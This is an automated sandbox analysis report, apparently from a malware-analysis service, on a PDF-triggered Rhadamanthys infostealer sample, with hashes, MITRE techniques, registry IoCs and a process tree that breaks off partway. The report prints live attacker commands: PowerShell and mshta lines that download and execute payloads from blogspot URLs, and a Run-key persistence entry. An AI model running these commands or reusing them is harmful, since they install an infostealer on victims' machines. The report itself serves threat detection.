rhadamanthys | 0eef2b5a8170a8d109dcb1851cace3aff5748da48f01b853d45a7f6ece6fe614

Analysis

max time kernel
146s
max time network
148s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241023-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
17-11-2024 19:01

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

3e02b3d41bd5b9895c35ead20c21921ff158f3d3d28ed92c9b6f4d3643e71fb8.pdf
Size

56KB
MD5

d8373d0c9a16e907776812b0428bdec6
SHA1

da1d4769a037a7a2a18d70ab9341d44473524c11
SHA256

3e02b3d41bd5b9895c35ead20c21921ff158f3d3d28ed92c9b6f4d3643e71fb8
SHA512

7960817b0185b1d231a12c0fb8ad10e3ca24189b64f40c6cab6298497637dcb69bfafe98ec838da961043e83fafc7b91d1c5e9963f23c30562cbda79bfbd6e19
SSDEEP

192:rEkcq9U4pvJrxE1gRsFP2HrCN0yBXSduJvYj3djRS42+OHpKeXo4d0pZ6X8Nw8PU:rnS46ppGue5T2GnZ6MG8P9u

Score

10^/10

rhadamanthys discovery execution persistence phishing stealer

Malware Config

Signatures

Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys
Rhadamanthys family
rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 5904 created 2628	5904	RegSvcs.exe	44
PID 5928 created 2628	5928	RegSvcs.exe	44

Blocklisted process makes network request 2 IoCs

flow	pid	Process
121	2308	powershell.exe
125	2308	powershell.exe

A potential corporate email address has been identified in the URL: [email protected]
phishing

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2319007114-3335580451-2147236418-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2319007114-3335580451-2147236418-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Defenderlt-89 = "mshta \"javascript:mq=['RUN', 'powershell -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;(irm https://hoot11nov.blogspot.com////loka.pdf) \| . iex;Start-Sleep -Seconds 3;', 'WScript.Shell', 'Scripting.FileSystemObject']; new ActiveXObject(mq[2])[mq[0]](mq[1], 0, true);close();or=new ActiveXObject('Scripting.FileSystemObject');or.DeleteFile(WScript.ScriptFullName);\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2319007114-3335580451-2147236418-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Defenderl-70 = "schtasks /run /tn Defenderl-70"	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
124	bitbucket.org
125	bitbucket.org

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 2308 set thread context of 5928	2308	powershell.exe	128
PID 2308 set thread context of 5904	2308	powershell.exe	129
PID 2308 set thread context of 5132	2308	powershell.exe	130
PID 2308 set thread context of 5152	2308	powershell.exe	131
PID 2308 set thread context of 5160	2308	powershell.exe	132
PID 2308 set thread context of 5140	2308	powershell.exe	133

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\7591777a-233a-4dc3-87c9-916f902b38b8.tmp	setup.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\20241117190202.pma	setup.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	dw20.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Msbuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Msbuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dw20.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dw20.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	openwith.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	openwith.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dw20.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dw20.exe

Checks processor information in registry 2 TTPs 12 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dw20.exe

Enumerates system info in registry 2 TTPs 11 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	dw20.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dw20.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2319007114-3335580451-2147236418-1000_Classes\Local Settings	msedge.exe

Suspicious behavior: EnumeratesProcesses 40 IoCs

pid	Process
4772	msedge.exe
4772	msedge.exe
1364	msedge.exe
1364	msedge.exe
1156	identity_helper.exe
1156	identity_helper.exe
5428	msedge.exe
5428	msedge.exe
2308	powershell.exe
2308	powershell.exe
2308	powershell.exe
2308	powershell.exe
2308	powershell.exe
2308	powershell.exe
2308	powershell.exe
2308	powershell.exe
5904	RegSvcs.exe
5904	RegSvcs.exe
5928	RegSvcs.exe
5928	RegSvcs.exe
2296	openwith.exe
2296	openwith.exe
2296	openwith.exe
2296	openwith.exe
2308	powershell.exe
2308	powershell.exe
2308	powershell.exe
2308	powershell.exe
2308	powershell.exe
2308	powershell.exe
2308	powershell.exe
2308	powershell.exe
2308	powershell.exe
2308	powershell.exe
2308	powershell.exe
2308	powershell.exe
5184	msedge.exe
5184	msedge.exe
5184	msedge.exe
5184	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
1364	msedge.exe
1364	msedge.exe
1364	msedge.exe
1364	msedge.exe
1364	msedge.exe
1364	msedge.exe
1364	msedge.exe
1364	msedge.exe
1364	msedge.exe
1364	msedge.exe
1364	msedge.exe
1364	msedge.exe
1364	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2308	powershell.exe
Token: SeRestorePrivilege	5828	dw20.exe
Token: SeBackupPrivilege	5828	dw20.exe
Token: SeBackupPrivilege	5828	dw20.exe
Token: SeBackupPrivilege	2076	dw20.exe
Token: SeBackupPrivilege	2076	dw20.exe
Token: SeBackupPrivilege	5828	dw20.exe
Token: SeBackupPrivilege	5828	dw20.exe
Token: SeBackupPrivilege	3656	dw20.exe
Token: SeBackupPrivilege	3656	dw20.exe
Token: SeBackupPrivilege	1408	dw20.exe
Token: SeBackupPrivilege	1408	dw20.exe
Token: SeIncreaseQuotaPrivilege	2308	powershell.exe
Token: SeSecurityPrivilege	2308	powershell.exe
Token: SeTakeOwnershipPrivilege	2308	powershell.exe
Token: SeLoadDriverPrivilege	2308	powershell.exe
Token: SeSystemProfilePrivilege	2308	powershell.exe
Token: SeSystemtimePrivilege	2308	powershell.exe
Token: SeProfSingleProcessPrivilege	2308	powershell.exe
Token: SeIncBasePriorityPrivilege	2308	powershell.exe
Token: SeCreatePagefilePrivilege	2308	powershell.exe
Token: SeBackupPrivilege	2308	powershell.exe
Token: SeRestorePrivilege	2308	powershell.exe
Token: SeShutdownPrivilege	2308	powershell.exe
Token: SeDebugPrivilege	2308	powershell.exe
Token: SeSystemEnvironmentPrivilege	2308	powershell.exe
Token: SeRemoteShutdownPrivilege	2308	powershell.exe
Token: SeUndockPrivilege	2308	powershell.exe
Token: SeManageVolumePrivilege	2308	powershell.exe
Token: 33	2308	powershell.exe
Token: 34	2308	powershell.exe
Token: 35	2308	powershell.exe
Token: 36	2308	powershell.exe
Token: SeIncreaseQuotaPrivilege	2308	powershell.exe
Token: SeSecurityPrivilege	2308	powershell.exe
Token: SeTakeOwnershipPrivilege	2308	powershell.exe
Token: SeLoadDriverPrivilege	2308	powershell.exe
Token: SeSystemProfilePrivilege	2308	powershell.exe
Token: SeSystemtimePrivilege	2308	powershell.exe
Token: SeProfSingleProcessPrivilege	2308	powershell.exe
Token: SeIncBasePriorityPrivilege	2308	powershell.exe
Token: SeCreatePagefilePrivilege	2308	powershell.exe
Token: SeBackupPrivilege	2308	powershell.exe
Token: SeRestorePrivilege	2308	powershell.exe
Token: SeShutdownPrivilege	2308	powershell.exe
Token: SeDebugPrivilege	2308	powershell.exe
Token: SeSystemEnvironmentPrivilege	2308	powershell.exe
Token: SeRemoteShutdownPrivilege	2308	powershell.exe
Token: SeUndockPrivilege	2308	powershell.exe
Token: SeManageVolumePrivilege	2308	powershell.exe
Token: 33	2308	powershell.exe
Token: 34	2308	powershell.exe
Token: 35	2308	powershell.exe
Token: 36	2308	powershell.exe
Token: SeIncreaseQuotaPrivilege	2308	powershell.exe
Token: SeSecurityPrivilege	2308	powershell.exe
Token: SeTakeOwnershipPrivilege	2308	powershell.exe
Token: SeLoadDriverPrivilege	2308	powershell.exe
Token: SeSystemProfilePrivilege	2308	powershell.exe
Token: SeSystemtimePrivilege	2308	powershell.exe
Token: SeProfSingleProcessPrivilege	2308	powershell.exe
Token: SeIncBasePriorityPrivilege	2308	powershell.exe
Token: SeCreatePagefilePrivilege	2308	powershell.exe
Token: SeBackupPrivilege	2308	powershell.exe

Suspicious use of FindShellTrayWindow 11 IoCs

pid	Process
1364	msedge.exe
1364	msedge.exe
1364	msedge.exe
1364	msedge.exe
1364	msedge.exe
1364	msedge.exe
1364	msedge.exe
1364	msedge.exe
1364	msedge.exe
1364	msedge.exe
1364	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5028 wrote to memory of 1364	5028	cmd.exe	84
PID 5028 wrote to memory of 1364	5028	cmd.exe	84
PID 1364 wrote to memory of 2040	1364	msedge.exe	86
PID 1364 wrote to memory of 2040	1364	msedge.exe	86
PID 1364 wrote to memory of 2584	1364	msedge.exe	88
PID 1364 wrote to memory of 2584	1364	msedge.exe	88
PID 1364 wrote to memory of 2584	1364	msedge.exe	88
PID 1364 wrote to memory of 2584	1364	msedge.exe	88
PID 1364 wrote to memory of 2584	1364	msedge.exe	88
PID 1364 wrote to memory of 2584	1364	msedge.exe	88
PID 1364 wrote to memory of 2584	1364	msedge.exe	88
PID 1364 wrote to memory of 2584	1364	msedge.exe	88
PID 1364 wrote to memory of 2584	1364	msedge.exe	88
PID 1364 wrote to memory of 2584	1364	msedge.exe	88
PID 1364 wrote to memory of 2584	1364	msedge.exe	88
PID 1364 wrote to memory of 2584	1364	msedge.exe	88
PID 1364 wrote to memory of 2584	1364	msedge.exe	88
PID 1364 wrote to memory of 2584	1364	msedge.exe	88
PID 1364 wrote to memory of 2584	1364	msedge.exe	88
PID 1364 wrote to memory of 2584	1364	msedge.exe	88
PID 1364 wrote to memory of 2584	1364	msedge.exe	88
PID 1364 wrote to memory of 2584	1364	msedge.exe	88
PID 1364 wrote to memory of 2584	1364	msedge.exe	88
PID 1364 wrote to memory of 2584	1364	msedge.exe	88
PID 1364 wrote to memory of 2584	1364	msedge.exe	88
PID 1364 wrote to memory of 2584	1364	msedge.exe	88
PID 1364 wrote to memory of 2584	1364	msedge.exe	88
PID 1364 wrote to memory of 2584	1364	msedge.exe	88
PID 1364 wrote to memory of 2584	1364	msedge.exe	88
PID 1364 wrote to memory of 2584	1364	msedge.exe	88
PID 1364 wrote to memory of 2584	1364	msedge.exe	88
PID 1364 wrote to memory of 2584	1364	msedge.exe	88
PID 1364 wrote to memory of 2584	1364	msedge.exe	88
PID 1364 wrote to memory of 2584	1364	msedge.exe	88
PID 1364 wrote to memory of 2584	1364	msedge.exe	88
PID 1364 wrote to memory of 2584	1364	msedge.exe	88
PID 1364 wrote to memory of 2584	1364	msedge.exe	88
PID 1364 wrote to memory of 2584	1364	msedge.exe	88
PID 1364 wrote to memory of 2584	1364	msedge.exe	88
PID 1364 wrote to memory of 2584	1364	msedge.exe	88
PID 1364 wrote to memory of 2584	1364	msedge.exe	88
PID 1364 wrote to memory of 2584	1364	msedge.exe	88
PID 1364 wrote to memory of 2584	1364	msedge.exe	88
PID 1364 wrote to memory of 2584	1364	msedge.exe	88
PID 1364 wrote to memory of 4772	1364	msedge.exe	89
PID 1364 wrote to memory of 4772	1364	msedge.exe	89
PID 1364 wrote to memory of 2408	1364	msedge.exe	90
PID 1364 wrote to memory of 2408	1364	msedge.exe	90
PID 1364 wrote to memory of 2408	1364	msedge.exe	90
PID 1364 wrote to memory of 2408	1364	msedge.exe	90
PID 1364 wrote to memory of 2408	1364	msedge.exe	90
PID 1364 wrote to memory of 2408	1364	msedge.exe	90
PID 1364 wrote to memory of 2408	1364	msedge.exe	90
PID 1364 wrote to memory of 2408	1364	msedge.exe	90
PID 1364 wrote to memory of 2408	1364	msedge.exe	90
PID 1364 wrote to memory of 2408	1364	msedge.exe	90
PID 1364 wrote to memory of 2408	1364	msedge.exe	90
PID 1364 wrote to memory of 2408	1364	msedge.exe	90
PID 1364 wrote to memory of 2408	1364	msedge.exe	90
PID 1364 wrote to memory of 2408	1364	msedge.exe	90
PID 1364 wrote to memory of 2408	1364	msedge.exe	90
PID 1364 wrote to memory of 2408	1364	msedge.exe	90
PID 1364 wrote to memory of 2408	1364	msedge.exe	90
PID 1364 wrote to memory of 2408	1364	msedge.exe	90

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:2628
- C:\Windows\SysWOW64\openwith.exe
  "C:\Windows\system32\openwith.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:2296
- C:\Windows\SysWOW64\openwith.exe
  "C:\Windows\system32\openwith.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2460

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\3e02b3d41bd5b9895c35ead20c21921ff158f3d3d28ed92c9b6f4d3643e71fb8.pdf
1⤵
- Suspicious use of WriteProcessMemory
PID:5028
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Local\Temp\3e02b3d41bd5b9895c35ead20c21921ff158f3d3d28ed92c9b6f4d3643e71fb8.pdf
  2⤵
  - Enumerates system info in registry
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:1364
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x128,0x12c,0x130,0x124,0x134,0x7fffc3f846f8,0x7fffc3f84708,0x7fffc3f84718
    3⤵
    PID:2040
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2064,5148918005627681668,12491751503196011482,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2080 /prefetch:2
    3⤵
    PID:2584
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2064,5148918005627681668,12491751503196011482,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2196 /prefetch:3
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4772
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2064,5148918005627681668,12491751503196011482,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2776 /prefetch:8
    3⤵
    PID:2408
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,5148918005627681668,12491751503196011482,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3368 /prefetch:1
    3⤵
    PID:2976
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,5148918005627681668,12491751503196011482,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3348 /prefetch:1
    3⤵
    PID:3504
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,5148918005627681668,12491751503196011482,131072 --lang=en-US --extension-process --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4356 /prefetch:1
    3⤵
    PID:2956
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=ppapi --field-trial-handle=2064,5148918005627681668,12491751503196011482,131072 --lang=en-US --device-scale-factor=1 --ppapi-antialiased-text-enabled=1 --ppapi-subpixel-rendering-setting=1 --mojo-platform-channel-handle=5072 /prefetch:6
    3⤵
    PID:4780
- - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2064,5148918005627681668,12491751503196011482,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5944 /prefetch:8
    3⤵
    PID:540
- - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --configure-user-settings --verbose-logging --system-level --msedge --force-configure-user-settings
    3⤵
    - Drops file in Program Files directory
    PID:3064
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x248,0x24c,0x250,0x224,0x254,0x7ff67bef5460,0x7ff67bef5470,0x7ff67bef5480
      4⤵
      PID:1084
- - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2064,5148918005627681668,12491751503196011482,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5944 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1156
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,5148918005627681668,12491751503196011482,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6040 /prefetch:1
    3⤵
    PID:3796
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,5148918005627681668,12491751503196011482,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6188 /prefetch:1
    3⤵
    PID:5096
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,5148918005627681668,12491751503196011482,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4424 /prefetch:1
    3⤵
    PID:5628
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2064,5148918005627681668,12491751503196011482,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=6096 /prefetch:8
    3⤵
    PID:5748
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,5148918005627681668,12491751503196011482,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6120 /prefetch:1
    3⤵
    PID:5756
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,5148918005627681668,12491751503196011482,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3456 /prefetch:1
    3⤵
    PID:5960
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,5148918005627681668,12491751503196011482,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6392 /prefetch:1
    3⤵
    PID:6040
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2064,5148918005627681668,12491751503196011482,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4276 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5428
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2064,5148918005627681668,12491751503196011482,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=7140 /prefetch:8
    3⤵
    PID:3796
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Downloads\lnvoice-1712456537.pdf .js"
    3⤵
    - Checks computer location settings
    PID:3048
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;& ('{1}{0}' -f 'ex', 'I') $(irm https://11-14hotelmain.blogspot.com///////chutmarao.pdf);Start-Sleep -Seconds 3;
      4⤵
      Blocklisted process makes network request
      Adds Run key to start application
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2308
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:5928
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
